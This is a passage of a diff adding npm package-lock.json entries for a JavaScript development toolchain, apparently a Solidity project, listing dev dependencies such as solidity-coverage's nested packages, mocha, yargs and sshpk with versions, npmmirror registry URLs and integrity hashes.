"node_modules/solidity-coverage/node_modules/flat": { + "version": "4.1.1", + "resolved": "https://registry.npmmirror.com/flat/-/flat-4.1.1.tgz", + "integrity": "sha512-FmTtBsHskrU6FJ2VxCnsDb84wu9zhmO3cUX2kGFb5tuwhfXxGciiT0oRY+cck35QmG+NmGh5eLz6lLCpWTqwpA==", + "dev": true, + "peer": true, + "dependencies": { + "is-buffer": "~2.0.3" + }, + "bin": { + "flat": "cli.js" + } + }, + "node_modules/solidity-coverage/node_modules/fs-extra": { + "version": "8.1.0", + "resolved": "https://registry.npmmirror.com/fs-extra/-/fs-extra-8.1.0.tgz", + "integrity": "sha512-yhlQgA6mnOJUKOsRUFsgJdQCvkKhcz8tlZG5HBQfReYZy46OwLcY+Zia0mtdHsOo9y/hP+CxMN0TU9QxoOtG4g==", + "dev": true, + "peer": true, + "dependencies": { + "graceful-fs": "^4.2.0", + "jsonfile": "^4.0.0", + "universalify": "^0.1.0" + }, + "engines": { + "node": ">=6 <7 || >=8" + } + }, + "node_modules/solidity-coverage/node_modules/fsevents": { + "version": "2.1.3", + "resolved": "https://registry.npmmirror.com/fsevents/-/fsevents-2.1.3.tgz", + "integrity": "sha512-Auw9a4AxqWpa9GUfj370BMPzzyncfBABW8Mab7BGWBYDj4Isgq+cDKtx0i6u9jcX9pQDnswsaaOTgTmA5pEjuQ==", + "deprecated": "\"Please update to latest v2.3 or v2.2\"", + "dev": true, + "hasInstallScript": true, + "optional": true, + "os": [ + "darwin" + ], + "peer": true, + "engines": { + "node": "^8.16.0 || ^10.6.0 || >=11.0.0" + } + }, + "node_modules/solidity-coverage/node_modules/glob": { + "version": "7.1.3", + "resolved": "https://registry.npmmirror.com/glob/-/glob-7.1.3.tgz", + "integrity": "sha512-vcfuiIxogLV4DlGBHIUOwI0IbrJ8HWPc4MU7HzviGeNho/UJDfi6B5p3sHeWIQ0KGIU0Jpxi5ZHxemQfLkkAwQ==", + "dev": true, + "peer": true, + "dependencies": { + "fs.realpath": "^1.0.0", + "inflight": "^1.0.4", + "inherits": "2", + "minimatch": "^3.0.4", + "once": "^1.3.0", + "path-is-absolute": "^1.0.0" + }, + "engines": { + "node": "*" + } + }, + "node_modules/solidity-coverage/node_modules/is-fullwidth-code-point": { + "version": "2.0.0", + "resolved": "https://registry.npmmirror.com/is-fullwidth-code-point/-/is-fullwidth-code-point-2.0.0.tgz", + "integrity": "sha512-VHskAKYM8RfSFXwee5t5cbN5PZeq1Wrh6qd5bkyiXIf6UQcN6w/A0eXM9r6t8d+GYOh+o6ZhiEnb88LN/Y8m2w==", + "dev": true, + "peer": true, + "engines": { + "node": ">=4" + } + }, + "node_modules/solidity-coverage/node_modules/js-yaml": { + "version": "3.13.1", + "resolved": "https://registry.npmmirror.com/js-yaml/-/js-yaml-3.13.1.tgz", + "integrity": "sha512-YfbcO7jXDdyj0DGxYVSlSeQNHbD7XPWvrVWeVUujrQEoZzWJIRrCPoyk6kL6IAjAG2IolMK4T0hNUe0HOUs5Jw==", + "dev": true, + "peer": true, + "dependencies": { + "argparse": "^1.0.7", + "esprima": "^4.0.0" + }, + "bin": { + "js-yaml": "bin/js-yaml.js" + } + }, + "node_modules/solidity-coverage/node_modules/locate-path": { + "version": "3.0.0", + "resolved": "https://registry.npmmirror.com/locate-path/-/locate-path-3.0.0.tgz", + "integrity": "sha512-7AO748wWnIhNqAuaty2ZWHkQHRSNfPVIsPIfwEOWO22AmaoVrWavlOcMR5nzTLNYvp36X220/maaRsrec1G65A==", + "dev": true, + "peer": true, + "dependencies": { + "p-locate": "^3.0.0", + "path-exists": "^3.0.0" + }, + "engines": { + "node": ">=6" + } + }, + "node_modules/solidity-coverage/node_modules/log-symbols": { + "version": "3.0.0", + "resolved": "https://registry.npmmirror.com/log-symbols/-/log-symbols-3.0.0.tgz", + "integrity": "sha512-dSkNGuI7iG3mfvDzUuYZyvk5dD9ocYCYzNU6CYDE6+Xqd+gwme6Z00NS3dUh8mq/73HaEtT7m6W+yUPtU6BZnQ==", + "dev": true, + "peer": true, + "dependencies": { + "chalk": "^2.4.2" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/solidity-coverage/node_modules/lru-cache": { + "version": "6.0.0", + "resolved": "https://registry.npmmirror.com/lru-cache/-/lru-cache-6.0.0.tgz", + "integrity": "sha512-Jo6dJ04CmSjuznwJSS3pUeWmd/H0ffTlkXXgwZi+eq1UCmqQwCh+eLsYOYCwY991i2Fah4h1BEMCx4qThGbsiA==", + "dev": true, + "peer": true, + "dependencies": { + "yallist": "^4.0.0" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/solidity-coverage/node_modules/minimatch": { + "version": "3.0.4", + "resolved": "https://registry.npmmirror.com/minimatch/-/minimatch-3.0.4.tgz", + "integrity": "sha512-yJHVQEhyqPLUTgt9B83PXu6W3rx4MvvHvSUvToogpwoGDOUQ+yDrR0HRot+yOCdCO7u4hX3pWft6kWBBcqh0UA==", + "dev": true, + "peer": true, + "dependencies": { + "brace-expansion": "^1.1.7" + }, + "engines": { + "node": "*" + } + }, + "node_modules/solidity-coverage/node_modules/mkdirp": { + "version": "0.5.5", + "resolved": "https://registry.npmmirror.com/mkdirp/-/mkdirp-0.5.5.tgz", + "integrity": "sha512-NKmAlESf6jMGym1++R0Ra7wvhV+wFW63FaSOFPwRahvea0gMUcGUhVeAg/0BC0wiv9ih5NYPB1Wn1UEI1/L+xQ==", + "dev": true, + "peer": true, + "dependencies": { + "minimist": "^1.2.5" + }, + "bin": { + "mkdirp": "bin/cmd.js" + } + }, + "node_modules/solidity-coverage/node_modules/mocha": { + "version": "7.1.2", + "resolved": "https://registry.npmmirror.com/mocha/-/mocha-7.1.2.tgz", + "integrity": "sha512-o96kdRKMKI3E8U0bjnfqW4QMk12MwZ4mhdBTf+B5a1q9+aq2HRnj+3ZdJu0B/ZhJeK78MgYuv6L8d/rA5AeBJA==", + "dev": true, + "peer": true, + "dependencies": { + "ansi-colors": "3.2.3", + "browser-stdout": "1.3.1", + "chokidar": "3.3.0", + "debug": "3.2.6", + "diff": "3.5.0", + "escape-string-regexp": "1.0.5", + "find-up": "3.0.0", + "glob": "7.1.3", + "growl": "1.10.5", + "he": "1.2.0", + "js-yaml": "3.13.1", + "log-symbols": "3.0.0", + "minimatch": "3.0.4", + "mkdirp": "0.5.5", + "ms": "2.1.1", + "node-environment-flags": "1.0.6", + "object.assign": "4.1.0", + "strip-json-comments": "2.0.1", + "supports-color": "6.0.0", + "which": "1.3.1", + "wide-align": "1.1.3", + "yargs": "13.3.2", + "yargs-parser": "13.1.2", + "yargs-unparser": "1.6.0" + }, + "bin": { + "_mocha": "bin/_mocha", + "mocha": "bin/mocha" + }, + "engines": { + "node": ">= 8.10.0" + } + }, + "node_modules/solidity-coverage/node_modules/ms": { + "version": "2.1.1", + "resolved": "https://registry.npmmirror.com/ms/-/ms-2.1.1.tgz", + "integrity": "sha512-tgp+dl5cGk28utYktBsrFqA7HKgrhgPsg6Z/EfhWI4gl1Hwq8B/GmY/0oXZ6nF8hDVesS/FpnYaD/kOWhYQvyg==", + "dev": true, + "peer": true + }, + "node_modules/solidity-coverage/node_modules/p-limit": { + "version": "2.3.0", + "resolved": "https://registry.npmmirror.com/p-limit/-/p-limit-2.3.0.tgz", + "integrity": "sha512-//88mFWSJx8lxCzwdAABTJL2MyWB12+eIY7MDL2SqLmAkeKU9qxRvWuSyTjm3FUmpBEMuFfckAIqEaVGUDxb6w==", + "dev": true, + "peer": true, + "dependencies": { + "p-try": "^2.0.0" + }, + "engines": { + "node": ">=6" + } + }, + "node_modules/solidity-coverage/node_modules/p-locate": { + "version": "3.0.0", + "resolved": "https://registry.npmmirror.com/p-locate/-/p-locate-3.0.0.tgz", + "integrity": "sha512-x+12w/To+4GFfgJhBEpiDcLozRJGegY+Ei7/z0tSLkMmxGZNybVMSfWj9aJn8Z5Fc7dBUNJOOVgPv2H7IwulSQ==", + "dev": true, + "peer": true, + "dependencies": { + "p-limit": "^2.0.0" + }, + "engines": { + "node": ">=6" + } + }, + "node_modules/solidity-coverage/node_modules/p-try": { + "version": "2.2.0", + "resolved": "https://registry.npmmirror.com/p-try/-/p-try-2.2.0.tgz", + "integrity": "sha512-R4nPAVTAU0B9D35/Gk3uJf/7XYbQcyohSKdvAxIRSNghFl4e71hVoGnBNQz9cWaXxO2I10KTC+3jMdvvoKw6dQ==", + "dev": true, + "peer": true, + "engines": { + "node": ">=6" + } + }, + "node_modules/solidity-coverage/node_modules/readdirp": { + "version": "3.2.0", + "resolved": "https://registry.npmmirror.com/readdirp/-/readdirp-3.2.0.tgz", + "integrity": "sha512-crk4Qu3pmXwgxdSgGhgA/eXiJAPQiX4GMOZZMXnqKxHX7TaoL+3gQVo/WeuAiogr07DpnfjIMpXXa+PAIvwPGQ==", + "dev": true, + "peer": true, + "dependencies": { + "picomatch": "^2.0.4" + }, + "engines": { + "node": ">= 8" + } + }, + "node_modules/solidity-coverage/node_modules/semver": { + "version": "7.3.7", + "resolved": "https://registry.npmmirror.com/semver/-/semver-7.3.7.tgz", + "integrity": "sha512-QlYTucUYOews+WeEujDoEGziz4K6c47V/Bd+LjSSYcA94p+DmINdf7ncaUinThfvZyu13lN9OY1XDxt8C0Tw0g==", + "dev": true, + "peer": true, + "dependencies": { + "lru-cache": "^6.0.0" + }, + "bin": { + "semver": "bin/semver.js" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/solidity-coverage/node_modules/string-width": { + "version": "3.1.0", + "resolved": "https://registry.npmmirror.com/string-width/-/string-width-3.1.0.tgz", + "integrity": "sha512-vafcv6KjVZKSgz06oM/H6GDBrAtz8vdhQakGjFIvNrHA6y3HCF1CInLy+QLq8dTJPQ1b+KDUqDFctkdRW44e1w==", + "dev": true, + "peer": true, + "dependencies": { + "emoji-regex": "^7.0.1", + "is-fullwidth-code-point": "^2.0.0", + "strip-ansi": "^5.1.0" + }, + "engines": { + "node": ">=6" + } + }, + "node_modules/solidity-coverage/node_modules/strip-ansi": { + "version": "5.2.0", + "resolved": "https://registry.npmmirror.com/strip-ansi/-/strip-ansi-5.2.0.tgz", + "integrity": "sha512-DuRs1gKbBqsMKIZlrffwlug8MHkcnpjs5VPmL1PAh+mA30U0DTotfDZ0d2UUsXpPmPmMMJ6W773MaA3J+lbiWA==", + "dev": true, + "peer": true, + "dependencies": { + "ansi-regex": "^4.1.0" + }, + "engines": { + "node": ">=6" + } + }, + "node_modules/solidity-coverage/node_modules/strip-json-comments": { + "version": "2.0.1", + "resolved": "https://registry.npmmirror.com/strip-json-comments/-/strip-json-comments-2.0.1.tgz", + "integrity": "sha512-4gB8na07fecVVkOI6Rs4e7T6NOTki5EmL7TUduTs6bu3EdnSycntVJ4re8kgZA+wx9IueI2Y11bfbgwtzuE0KQ==", + "dev": true, + "peer": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/solidity-coverage/node_modules/supports-color": { + "version": "6.0.0", + "resolved": "https://registry.npmmirror.com/supports-color/-/supports-color-6.0.0.tgz", + "integrity": "sha512-on9Kwidc1IUQo+bQdhi8+Tijpo0e1SS6RoGo2guUwn5vdaxw8RXOF9Vb2ws+ihWOmh4JnCJOvaziZWP1VABaLg==", + "dev": true, + "peer": true, + "dependencies": { + "has-flag": "^3.0.0" + }, + "engines": { + "node": ">=6" + } + }, + "node_modules/solidity-coverage/node_modules/wrap-ansi": { + "version": "5.1.0", + "resolved": "https://registry.npmmirror.com/wrap-ansi/-/wrap-ansi-5.1.0.tgz", + "integrity": "sha512-QC1/iN/2/RPVJ5jYK8BGttj5z83LmSKmvbvrXPNCLZSEb32KKVDJDl/MOt2N01qU2H/FkzEa9PKto1BqDjtd7Q==", + "dev": true, + "peer": true, + "dependencies": { + "ansi-styles": "^3.2.0", + "string-width": "^3.0.0", + "strip-ansi": "^5.0.0" + }, + "engines": { + "node": ">=6" + } + }, + "node_modules/solidity-coverage/node_modules/y18n": { + "version": "4.0.3", + "resolved": "https://registry.npmmirror.com/y18n/-/y18n-4.0.3.tgz", + "integrity": "sha512-JKhqTOwSrqNA1NY5lSztJ1GrBiUodLMmIZuLiDaMRJ+itFd+ABVE8XBjOvIWL+rSqNDC74LCSFmlb/U4UZ4hJQ==", + "dev": true, + "peer": true + }, + "node_modules/solidity-coverage/node_modules/yallist": { + "version": "4.0.0", + "resolved": "https://registry.npmmirror.com/yallist/-/yallist-4.0.0.tgz", + "integrity": "sha512-3wdGidZyq5PB084XLES5TpOSRA3wjXAlIWMhum2kRcv/41Sn2emQ0dycQW4uZXLejwKvg6EsvbdlVL+FYEct7A==", + "dev": true, + "peer": true + }, + "node_modules/solidity-coverage/node_modules/yargs": { + "version": "13.3.2", + "resolved": "https://registry.npmmirror.com/yargs/-/yargs-13.3.2.tgz", + "integrity": "sha512-AX3Zw5iPruN5ie6xGRIDgqkT+ZhnRlZMLMHAs8tg7nRruy2Nb+i5o9bwghAogtM08q1dpr2LVoS8KSTMYpWXUw==", + "dev": true, + "peer": true, + "dependencies": { + "cliui": "^5.0.0", + "find-up": "^3.0.0", + "get-caller-file": "^2.0.1", + "require-directory": "^2.1.1", + "require-main-filename": "^2.0.0", + "set-blocking": "^2.0.0", + "string-width": "^3.0.0", + "which-module": "^2.0.0", + "y18n": "^4.0.0", + "yargs-parser": "^13.1.2" + } + }, + "node_modules/solidity-coverage/node_modules/yargs-parser": { + "version": "13.1.2", + "resolved": "https://registry.npmmirror.com/yargs-parser/-/yargs-parser-13.1.2.tgz", + "integrity": "sha512-3lbsNRf/j+A4QuSZfDRA7HRSfWrzO0YjqTJd5kjAq37Zep1CEgaYmrH9Q3GwPiB9cHyd1Y1UwggGhJGoxipbzg==", + "dev": true, + "peer": true, + "dependencies": { + "camelcase": "^5.0.0", + "decamelize": "^1.2.0" + } + }, + "node_modules/solidity-coverage/node_modules/yargs-unparser": { + "version": "1.6.0", + "resolved": "https://registry.npmmirror.com/yargs-unparser/-/yargs-unparser-1.6.0.tgz", + "integrity": "sha512-W9tKgmSn0DpSatfri0nx52Joq5hVXgeLiqR/5G0sZNDoLZFOr/xjBUDcShCOGNsBnEMNo1KAMBkTej1Hm62HTw==", + "dev": true, + "peer": true, + "dependencies": { + "flat": "^4.1.0", + "lodash": "^4.17.15", + "yargs": "^13.3.0" + }, + "engines": { + "node": ">=6" + } + }, + "node_modules/source-map": { + "version": "0.6.1", + "resolved": "https://registry.npmmirror.com/source-map/-/source-map-0.6.1.tgz", + "integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==", + "dev": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/source-map-support": { + "version": "0.5.21", + "resolved": "https://registry.npmmirror.com/source-map-support/-/source-map-support-0.5.21.tgz", + "integrity": "sha512-uBHU3L3czsIyYXKX88fdrGovxdSCoTGDRZ6SYXtSRxLZUzHg5P/66Ht6uoUlHu9EZod+inXhKo3qQgwXUT/y1w==", + "dev": true, + "dependencies": { + "buffer-from": "^1.0.0", + "source-map": "^0.6.0" + } + }, + "node_modules/sprintf-js": { + "version": "1.0.3", + "resolved": "https://registry.npmmirror.com/sprintf-js/-/sprintf-js-1.0.3.tgz", + "integrity": "sha512-D9cPgkvLlV3t3IzL0D0YLvGA9Ahk4PcvVwUbN0dSGr1aP0Nrt4AEnTUbuGvquEC0mA64Gqt1fzirlRs5ibXx8g==", + "dev": true, + "peer": true + }, + "node_modules/sshpk": { + "version": "1.17.0", + "resolved": "https://registry.npmmirror.com/sshpk/-/sshpk-1.17.0.tgz", + "integrity": "sha512-/9HIEs1ZXGhSPE8X6Ccm7Nam1z8KcoCqPdI7ecm1N33EzAetWahvQWVqLZtaZQ+IDKX4IyA2o0gBzqIMkAagHQ==", + "dev": true, + "peer": true, + "dependencies": { + "asn1": "~0.2.3", + "assert-plus": "^1.0.0", + "bcrypt-pbkdf": "^1.0.0", + "dashdash": "^1.12.0", + "ecc-jsbn": "~0.1.1", + "getpass": "^0.1.1", + "jsbn": "~0.1.0", + "safer-buffer": "^2.0.2", + "tweetnacl": "~0.14.0" + }, + "bin": { + "sshpk-conv": "bin/sshpk-conv", + "sshpk-sign": "bin/sshpk-sign", + "sshpk-verify": "bin/sshpk-verify" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/sshpk/node_modules/tweetnacl": { + "version": "0.14.5", + "resolved": "https://registry.npmmirror.com/tweetnacl/-/tweetnacl-0.14.5.tgz", + "integrity": "sha512-KXXFFdAbFXY4geFIwoyNK+f5Z1b7swfXABfL7HXCmoIWMKU3dmS26672A4EeQtDzLKy7SXmfBu51JolvEKwtGA==", + "dev": true, + "peer": true + }, + "node_modules/stacktrace-parser": { + "version": "0.1.10", + "resolved": "https://registry.npmmirror.com/stacktrace-parser/-/stacktrace-parser-0.1.10.tgz", + "integrity": "sha512-KJP1OCML99+8fhOHxwwzyWrlUuVX5GQ0ZpJTd1DFXhdkrvg1szxfHhawXUZ3g9TkXORQd4/WG68jMlQZ2p8wlg==", + "dev": true, + "dependencies": { + "type-fest": "^0.7.1" + }, + "engines": { + "node": ">=6" + } + }, + "node_modules/stacktrace-parser/node_modules/type-fest": { + "version": "0.7.1", + "resolved": "https://registry.npmmirror.com/type-fest/-/type-fest-0.7.1.tgz", + "integrity": "sha512-Ne2YiiGN8bmrmJJEuTWTLJR32nh/JdL1+PSicowtNb0WFpn59GK8/lfD61bVtzguz7b3PBt74nxpv/Pw5po5Rg==", + "dev": true, + "engines": { + "node": ">=8" + } + }, + "node_modules/statuses": { + "version": "2.0.1", + "resolved": "https://registry.npmmirror.com/statuses/-/statuses-2.0.1.tgz", + "integrity": "sha512-RwNA9Z/7PrK06rYLIzFMlaF+l73iwpzsqRIFgbMLbTcLD6cOao82TaWefPXQvB2fOC4AjuYSEndS7N/mTCbkdQ==", + "dev": true, + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/stealthy-require": { + "version": "1.1.1", + "resolved": "https://registry.npmmirror.com/stealthy-require/-/stealthy-require-1.1.1.tgz", + "integrity": "sha512-ZnWpYnYugiOVEY5GkcuJK1io5V8QmNYChG62gSit9pQVGErXtrKuPC55ITaVSukmMta5qpMU7vqLt2Lnni4f/g==", + "dev": true, + "peer": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/string_decoder": { + "version": "1.3.0", + "resolved": "https://registry.npmmirror.com/string_decoder/-/string_decoder-1.3.0.tgz", + "integrity": "sha512-hkRX8U1WjJFd8LsDJ2yQ/wWWxaopEsABU1XfkM8A+j0+85JAGppt16cr1Whg6KIbb4okU6Mql6BOj+uup/wKeA==", + "dev": true, + "dependencies": { + "safe-buffer": "~5.2.0" + } + }, + "node_modules/string-format": { + "version": "2.0.0", + "resolved": "https://registry.npmmirror.com/string-format/-/string-format-2.0.0.tgz", + "integrity": "sha512-bbEs3scLeYNXLecRRuk6uJxdXUSj6le/8rNPHChIJTn2V79aXVTR1EH2OH5zLKKoz0V02fOUKZZcw01pLUShZA==", + "dev": true, + "peer": true + }, + "node_modules/string-width": { + "version": "4.2.3", + "resolved": "https://registry.npmmirror.com/string-width/-/string-width-4.2.3.tgz", + "integrity": "sha512-wKyQRQpjJ0sIp62ErSZdGsjMJWsap5oRNihHhu6G7JVO/9jIB6UyevL+tXuOqrng8j/cxKTWyWUwvSTriiZz/g==", + "dev": true, + "dependencies": { + "emoji-regex": "^8.0.0", + "is-fullwidth-code-point": "^3.0.0", + "strip-ansi": "^6.0.1" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/string.prototype.trimend": { + "version": "1.0.5", + "resolved": "https://registry.npmmirror.com/string.prototype.trimend/-/string.prototype.trimend-1.0.5.tgz", + "integrity": "sha512-I7RGvmjV4pJ7O3kdf+LXFpVfdNOxtCW/2C8f6jNiW4+PQchwxkCDzlk1/7p+Wl4bqFIZeF47qAHXLuHHWKAxog==", + "dev": true, + "peer": true, + "dependencies": { + "call-bind": "^1.0.2", + "define-properties": "^1.1.4", + "es-abstract": "^1.19.5" + } + }, + "node_modules/string.prototype.trimstart": { + "version": "1.0.5", + "resolved": "https://registry.npmmirror.com/string.prototype.trimstart/-/string.prototype.trimstart-1.0.5.tgz", + "integrity": "sha512-THx16TJCGlsN0o6dl2o6ncWUsdgnLRSA23rRE5pyGBw/mLr3Ej/R2LaqCtgP8VNMGZsvMWnf9ooZPyY2bHvUFg==", + "dev": true, + "peer": true, + "dependencies": { + "call-bind": "^1.0.2", + "define-properties": "^1.1.4", + "es-abstract": "^1.19.5" + } + }, + "node_modules/strip-ansi": { + "version": "6.0.1", + "resolved": "https://registry.npmmirror.com/strip-ansi/-/strip-ansi-6.0.1.tgz", + "integrity": "sha512-Y38VPSHcqkFrCpFnQ9vuSXmquuv5oXOKpGeT6aGrr3o3Gc9AlVa6JBfUSOCnbxGGZF+/0ooI7KrPuUSztUdU5A==", + "dev": true, + "dependencies": { + "ansi-regex": "^5.0.1" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/strip-hex-prefix": { + "version": "1.0.0", + "resolved": "https://registry.npmmirror.com/strip-hex-prefix/-/strip-hex-prefix-1.0.0.tgz", + "integrity": "sha512-q8d4ue7JGEiVcypji1bALTos+0pWtyGlivAWyPuTkHzuTCJqrK9sWxYQZUq6Nq3cuyv3bm734IhHvHtGGURU6A==", + "dev": true, + "dependencies": { + "is-hex-prefixed": "1.0.0" + }, + "engines": { + "node": ">=6.5.0", + "npm": ">=3" + } + }, + "node_modules/strip-json-comments": { + "version": "3.1.1", + "resolved": "https://registry.npmmirror.com/strip-json-comments/-/strip-json-comments-3.1.1.tgz", + "integrity": "sha512-6fPc+R4ihwqP6N/aIv2f1gMH8lOVtWQHoqC4yK6oSDVVocumAsfCqjkXnqiYMhmMwS/mEHLp7Vehlt3ql6lEig==", + "dev": true, + "engines": { + "node": ">=8" + } + }, + "node_modules/supports-color": { + "version": "5.5.0", + "resolved": "https://registry.npmmirror.com/supports-color/-/supports-color-5.5.0.tgz", + "integrity": "sha512-QjVjwdXIt408MIiAqCX4oUKsgU2EqAGzs2Ppkm4aQYbjm+ZEWEcW4SfFNTr4uMNZma0ey4f5lgLrkB0aX0QMow==", + "dev": true, + "dependencies": { + "has-flag": "^3.0.0" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/sync-request": { + "version": "6.1.0", + "resolved": "https://registry.npmmirror.com/sync-request/-/sync-request-6.1.0.tgz", + "integrity": "sha512-8fjNkrNlNCrVc/av+Jn+xxqfCjYaBoHqCsDz6mt030UMxJGr+GSfCV1dQt2gRtlL63+VPidwDVLr7V2OcTSdRw==", + "dev": true, + "peer": true, + "dependencies": { + "http-response-object": "^3.0.1", + "sync-rpc": "^1.2.1", + "then-request": "^6.0.0" + }, + "engines": { + "node": ">=8.0.0" + } + }, + "node_modules/sync-rpc": { + "version": "1.3.6", + "resolved": "https://registry.npmmirror.com/sync-rpc/-/sync-rpc-1.3.6.tgz", + "integrity": "sha512-J8jTXuZzRlvU7HemDgHi3pGnh/rkoqR/OZSjhTyyZrEkkYQbk7Z33AXp37mkPfPpfdOuj7Ex3H/TJM1z48uPQw==", + "dev": true, + "peer": true, + "dependencies": { + "get-port": "^3.1.0" + } + }, + "node_modules/table": { + "version": "6.8.0", + "resolved": "https://registry.npmmirror.com/table/-/table-6.8.0.tgz", + "integrity": "sha512-s/fitrbVeEyHKFa7mFdkuQMWlH1Wgw/yEXMt5xACT4ZpzWFluehAxRtUUQKPuWhaLAWhFcVx6w3oC8VKaUfPGA==", + "dev": true, + "peer": true, + "dependencies": { + "ajv": "^8.0.1", + "lodash.truncate": "^4.4.2", + "slice-ansi": "^4.0.0", + "string-width": "^4.2.3", + "strip-ansi": "^6.0.1" + }, + "engines": { + "node": ">=10.0.0" + } + }, + "node_modules/table-layout": { + "version": "1.0.2", + "resolved": "https://registry.npmmirror.com/table-layout/-/table-layout-1.0.2.tgz", + "integrity": "sha512-qd/R7n5rQTRFi+Zf2sk5XVVd9UQl6ZkduPFC3S7WEGJAmetDTjY3qPN50eSKzwuzEyQKy5TN2TiZdkIjos2L6A==", + "dev": true, + "peer": true, + "dependencies": { + "array-back": "^4.0.1", + "deep-extend": "~0.6.0", + "typical": "^5.2.0", + "wordwrapjs": "^4.0.0" + }, + "engines": { + "node": ">=8.0.0" + } + }, + "node_modules/table-layout/node_modules/array-back": { + "version": "4.0.2", + "resolved": "https://registry.npmmirror.com/array-back/-/array-back-4.0.2.tgz", + "integrity": "sha512-NbdMezxqf94cnNfWLL7V/im0Ub+Anbb0IoZhvzie8+4HJ4nMQuzHuy49FkGYCJK2yAloZ3meiB6AVMClbrI1vg==", + "dev": true, + "peer": true, + "engines": { + "node": ">=8" + } + }, + "node_modules/table-layout/node_modules/typical": { + "version": "5.2.0", + "resolved": "https://registry.npmmirror.com/typical/-/typical-5.2.0.tgz", + "integrity": "sha512-dvdQgNDNJo+8B2uBQoqdb11eUCE1JQXhvjC/CZtgvZseVd5TYMXnq0+vuUemXbd/Se29cTaUuPX3YIc2xgbvIg==", + "dev": true, + "peer": true, + "engines": { + "node": ">=8" + } + }, + "node_modules/table/node_modules/ajv": { + "version": "8.11.0", + "resolved": "https://registry.npmmirror.com/ajv/-/ajv-8.11.0.tgz", + "integrity": "sha512-wGgprdCvMalC0BztXvitD2hC04YffAvtsUn93JbGXYLAtCUO4xd17mCCZQxUOItiBwZvJScWo8NIvQMQ71rdpg==", + "dev": true, + "peer": true, + "dependencies": { + "fast-deep-equal": "^3.1.1", + "json-schema-traverse": "^1.0.0", + "require-from-string": "^2.0.2", + "uri-js": "^4.2.2" + } + }, + "node_modules/table/node_modules/json-schema-traverse": { + "version": "1.0.0", + "resolved": "https://registry.npmmirror.com/json-schema-traverse/-/json-schema-traverse-1.0.0.tgz", + "integrity": "sha512-NM8/P9n3XjXhIZn1lLhkFaACTOURQXjWhV4BA/RnOv8xvgqtqpAX9IO4mRQxSx1Rlo4tqzeqb0sOlruaOy3dug==", + "dev": true, + "peer": true + }, + "node_modules/then-request": { + "version": "6.0.2", + "resolved": "https://registry.npmmirror.com/then-request/-/then-request-6.0.2.tgz", + "integrity": "sha512-3ZBiG7JvP3wbDzA9iNY5zJQcHL4jn/0BWtXIkagfz7QgOL/LqjCEOBQuJNZfu0XYnv5JhKh+cDxCPM4ILrqruA==", + "dev": true, + "peer": true, + "dependencies": { + "@types/concat-stream": "^1.6.0", + "@types/form-data": "0.0.33", + "@types/node": "^8.0.0", + "@types/qs": "^6.2.31", + "caseless": "~0.12.0", + "concat-stream": "^1.6.0", + "form-data": "^2.2.0", + "http-basic": "^8.1.1", + "http-response-object": "^3.0.1", + "promise": "^8.0.0", + "qs": "^6.4.0" + }, + "engines": { + "node": ">=6.0.0" + } + }, + "node_modules/then-request/node_modules/@types/node": { + "version": "8.10.66", + "resolved": "https://registry.npmmirror.com/@types/node/-/node-8.10.66.tgz", + "integrity": "sha512-tktOkFUA4kXx2hhhrB8bIFb5TbwzS4uOhKEmwiD+NoiL0qtP2OQ9mFldbgD4dV1djrlBYP6eBuQZiWjuHUpqFw==", + "dev": true, + "peer": true + }, + "node_modules/tmp": { + "version": "0.0.33", + "resolved": "https://registry.npmmirror.com/tmp/-/tmp-0.0.33.tgz", + "integrity": "sha512-jRCJlojKnZ3addtTOjdIqoRuPEKBvNXcGYqzO6zWZX8KfKEpnGY5jfggJQ3EjKuu8D4bJRr0y+cYJFmYbImXGw==", + "dev": true, + "dependencies": { + "os-tmpdir": "~1.0.2" + }, + "engines": { + "node": ">=0.6.0" + } + }, + "node_modules/to-regex-range": { + "version": "5.0.1", + "resolved": "https://registry.npmmirror.com/to-regex-range/-/to-regex-range-5.0.1.tgz", + "integrity": "sha512-65P7iz6X5yEr1cwcgvQxbbIw7Uk3gOy5dIdtZ4rDveLqhrdJP+Li/Hx6tyK0NEb+2GCyneCMJiGqrADCSNk8sQ==", + "dev": true, + "dependencies": { + "is-number": "^7.0.0" + }, + "engines": { + "node": ">=8.0" + } + }, + "node_modules/toidentifier": { + "version": "1.0.1", + "resolved": "https://registry.npmmirror.com/toidentifier/-/toidentifier-1.0.1.tgz", + "integrity": "sha512-o5sSPKEkg/DIQNmH43V0/uerLrpzVedkUh8tGNvaeXpfpuwjKenlSox/2O/BTlZUtEe+JG7s5YhEz608PlAHRA==", + "dev": true, + "engines": { + "node": ">=0.6" + } + }, + "node_modules/tough-cookie": { + "version": "2.5.0", + "resolved": "https://registry.npmmirror.com/tough-cookie/-/tough-cookie-2.5.0.tgz", + "integrity": "sha512-nlLsUzgm1kfLXSXfRZMc1KLAugd4hqJHDTvc2hDIwS3mZAfMEuMbc03SujMF+GEcpaX/qboeycw6iO8JwVv2+g==", + "dev": true, + "peer": true, + "dependencies": { + "psl": "^1.1.28", + "punycode": "^2.1.1" + }, + "engines": { + "node": ">=0.8" + } + }, + "node_modules/ts-command-line-args": { + "version": "2.3.1", + "resolved": "https://registry.npmmirror.com/ts-command-line-args/-/ts-command-line-args-2.3.1.tgz", + "integrity": "sha512-FR3y7pLl/fuUNSmnPhfLArGqRrpojQgIEEOVzYx9DhTmfIN7C9RWSfpkJEF4J+Gk7aVx5pak8I7vWZsaN4N84g==", + "dev": true, + "peer": true, + "dependencies": { + "chalk": "^4.1.0", + "command-line-args": "^5.1.1", + "command-line-usage": "^6.1.0", + "string-format": "^2.0.0" + }, + "bin": { + "write-markdown": "dist/write-markdown.js" + } + }, + "node_modules/ts-command-line-args/node_modules/ansi-styles": { + "version": "4.3.0", + "resolved": "https://registry.npmmirror.com/ansi-styles/-/ansi-styles-4.3.0.tgz", + "integrity": 